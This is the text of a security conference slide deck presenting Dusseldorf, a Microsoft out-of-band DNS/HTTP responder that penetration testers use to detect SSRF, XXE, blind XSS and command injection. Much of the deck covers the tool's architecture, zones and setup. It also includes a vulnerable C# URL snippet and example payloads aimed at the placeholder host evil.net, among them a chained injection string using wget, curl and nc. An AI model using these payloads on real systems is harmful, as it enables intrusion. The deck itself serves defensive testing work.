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Why the name Dusseldorf?

Chicago Windows 95

O’Hare Internet Explorer 1

Whistler Windows XP

• Common practice to use place names
• Place names cannot be copyrighted

• Few known examples:

https://en.wikipedia.org/wiki/List_of_Microsoft_codenames

Anaheim Microsoft Edge

Ibiza Azure Portal

Roslyn .NET compiler platform

• Often stylized as duSSeldoRF
• There are only a handful places worldwide with SSRF in its name.



SSRF ?

• Server Side Request Forgery
• Force remote target to connect to arbitrary host

• Prevalent problem in cloud environments

string env_name = GetQueryString(“env”, “test”); // default = test
string url = $“https://api-{env_name}.backend.contoso.com”;
var result = await client.GetAsync(url, ”orders.json”); 



SSRF
Server Side Request Forgery

1. Make URL to find resource

Forms a URL by concatenating strings, setup 

connection.

2. Reach resource

Make (authenticated) outbound HTTP 

request to:

api-test.backend.contoso.com

3. “Handle response”
Response from test server is handled / 

deserialized / displayed / …. 

Outgoing HTTP request

GET /orders?env=test

string env_name = GetQueryString(“env”, “test”); // default = test
string url = $“https://api-{env_name}.backend.contoso.com”;
var result = await client.GetAsync(url, ”orders.json”); 

testdevprod
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SSRF
Server Side Request Forgery

1. Make URL to find resource

Forms a URL by concatenating strings, setup 

connection.

2. Reach resource

Make (authenticated) outbound HTTP 

request to:

api-a.evil.net/.backend.contos…

                 Handle response?

Outgoing HTTP request 

sent to arbitrary host

GET /orders?env=a.evil.net%2f

string env_name = GetQueryString(“env”, “test”); // default = test
string url = $“https://api-{env_name}.backend.contoso.com”;
var result = await client.GetAsync(url, ”orders.json”); 

testdevprod



SSRF
Server Side Request Forgery

1. Where is evil.net

Find name servers for evil.net

2. Where is api-a.evil.net

Resolve IP address for this domain 

name

3. Connect to api-a.evil.net
Send HTTP payload, get response, etc..

Outgoing HTTP request 

sent to arbitrary host

GET /orders?env=a.evil.net%2f

testdevprod

evil.net NS 1.3.3.7

api-a.evil.net A 1.2.3.4
test.evil.net  CNAME dev 
xml.evil.net   A 1.2.3.5
dev.evil.net   A 1.2.3.6
...
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XXE
eXternal XML Entity

1. Where is evil.net

Find name servers for evil.net

2. Where is xml.evil.net

Resolve IP address for this domain 

name

3. Connect to xml.evil.net
Send HTTP payload, get response, etc..

evil.net NS 1.3.3.7

api-a.evil.net A 1.2.3.4
test.evil.net  CNAME dev 
xml.evil.net   A 1.2.3.5
dev.evil.net   A 1.2.3.6
...

XML parsing tries to load 

external document.

<!ENTITY xxe SYSTEM 
"http://xml.evil.net/">



(Blind) XSS
Detect Cross Site Scripting at scale

1. Where is evil.net

Find name servers for evil.net

2. Where is x.evil.net

Resolve IP address for this domain 

name

3. Connect to x.evil.net
Send HTTP payload, get response, etc..

evil.net NS 1.3.3.7

api-a.evil.net A 1.2.3.4
test.evil.net  CNAME dev 
xml.evil.net   A 1.2.3.5
dev.evil.net   A 1.2.3.6
...

If successful, browser makes outbound connections 

(DNS and HTTP(s)), and executes Javascript.

<script src=“//x.evil.net”>
</script>



Generic RCE’s / cmd injection
Generic remote code execution can be utilized to call 

remote hostname.

1. Where is evil.net

Find name servers for evil.net

2. Where is rce.evil.net

Resolve IP address for this domain name

3. Might connect to rce.evil.net

evil.net NS 1.3.3.7

api-a.evil.net A 1.2.3.4
test.evil.net  CNAME dev 
xml.evil.net   A 1.2.3.5
dev.evil.net   A 1.2.3.6
...

; ssh rce.evil.net & nslookup rce.evil.net 
& wget rce.evil.net & telnet rce.evil.net 
& ping rce.evil.net & curl rce.evil.net & 
nc rce.evil.net
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Project DuSSeldoRF

• In house build out-of-band network responder

• Used by 130+ pentesters, red teamers, engineers within Microsoft

• Supports multiple network protocols:

• DNS, HTTP, HTTPS (soon WS(S), SSH, TDS…)

• Self-hosted, low constraint “always on” burp collaborator / interact.sh / …

• Web UI for management, REST API for automation

• Custom responses with filters and built-in payloads

• CORS OPTIONS call, XML payload, DNS responses, …

• Unlimited hostnames*



DuSSeldoRF Architecture
Network listeners
Flexible DNS, HTTP and HTTPS services 

listen to incoming network requests.

DNS Listener

MongoDB

HTTP Listener

HTTPS Listener

Frontend
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DuSSeldoRF Architecture
Network listeners
Flexible DNS, HTTP and HTTPS services 

listen to incoming network requests.

Analysis and rule match
The network request is dissected, and a if 

it matches the correct rule and zone, a 

custom response is generated.

Persistent storage
Matched network requests and its 

responses are stored in CosmosDB / 

MongoDB instance. 

Administrative Frontend 
Web Application with REST API to see 

request data, create zones, and setup 

rules to provide automated responses.  

DNS Listener

MongoDB

HTTP Listener

HTTPS Listener

Frontend



Dusseldorf Building blocks

Zones

Requests Rules

Any DNS subdomain, 

such as test.evil.net

Custom filters and 

responses on this zone

Domains

A domain whose NS record 

is pointing to Dusseldorf, 

such as evil.net. 

Any DNS resolves and 

requests sent to 

test.evil.net



Dusseldorf Building blocks

Zones

Requests Rules

Any DNS subdomain, 

such as test.evil.net

Custom filters and 

responses on this zone

Domains

A domain whose NS record 

is pointing to Dusseldorf, 

such as evil.net. 

Any DNS resolves and 

requests sent to 

test.evil.net



Talking about zones

DNS Listener

HTTP Listener

HTTPS Listener

s8k32md.a.domain.tld

ffx52883.a.domain.tld

sue89273.a.domain.tld

o300d9en3.a.domain.tld

iisuee9e83.a.domain.tld

akzfse62882.a.domain.tld

zzzs99ss82.a.domain.tld

uus8293.a.domain.tld

cc28sbc9266.a.domain.tld

g2abiuhy66fes989sd.a.domain.tld

 Setup zone once, ex: a.domain.tld

 Unique “hard to guess” DNS names 

could indicate a vulnerability

 *Unlimited subdomains, which can be 

detected and triggered.

 DNS Key space: 
 DNS is assumed to be case insensitive

 Numbers, letters and numbers are allowed (37 chars)

Zones

6 chars 2.5 Billion

8 chars 3.5 Trillion

10 chars 4.8 Quadrillion

hello-nullcon.a.domain.tld



Casting a “net” with zones

DNS Listener

MongoDB

HTTP Listener

HTTPS Listener

Frontend

Payload for zzs99ss82.a.domain.tld was “successful”

s8k32md.a.domain.tld

ffx52883.a.domain.tld

sue89273.a.domain.tld

o300d9en3.a.domain.tld

iisuee9e83.a.domain.tld

akzfse62882.a.domain.tld

zzzs99ss82.a.domain.tld

uus8293.a.domain.tld

cc28sbc9266.a.domain.tld

g2abbs989sd.a.domain.tld

DNS resolve zzs99ss82.a.domain.tld
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Using the UI

• Easy web UI to create and 

manage zones, rules, etc.

• Based on React and FluentUI2

• Easily collaborate with others
• On the same Azure tenant.

• Built-in payload examples in 

templates



Creating a zone



Creating a zone



Using the UI

• Any traffic, including DNS lookups, are captured 



Setting up rules

• In the Rules tab of your zone

• Create “filters” for when the rule will trigger

• Add actions to make custom responses

• Use templates for commonly used 

payloads



hmm.. did you change the token in



Adding others to your zone

• Must be in the same Azure tenant

• Add user@tenant to the zone

• 4 types of permissions
• Read only: can only see requests

• Read write: can make rules

• Assign roles: can add others

• owner: can do everything



Install: Requirements

• Requirements: 
• Public IP address, reachable over 53/udp, 80/tcp and 443/tcp*

• Depending on your domain, you may need 2 IP addresses.

• .ms needs 2 IP addresses.

• DNS domain name
• *TLS wildcard certificate for domain

• Get the code from github.com/microsoft/dusseldorf



Nullcon 2025 setup 

• Instance setup for hackers @ Nullcon ☺ 

• Will be disabled on ~15 March

• Get an account on:

• https://aka.ms/nullcon

• Send mihendri@microsoft.com an email with nullcon2025 in 

the title

• UI is on:

• https://nullcon25.dusseldorf.security.azure/ui/

• Dataplane:

• *.nc25.ms

mailto:mihendri@microsoft.com
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Empower every person and every 

organization on the planet to achieve 

more

Why

Why we build it



Thank you

शुक्रिया

https://github.com/microsoft/dusseldorf
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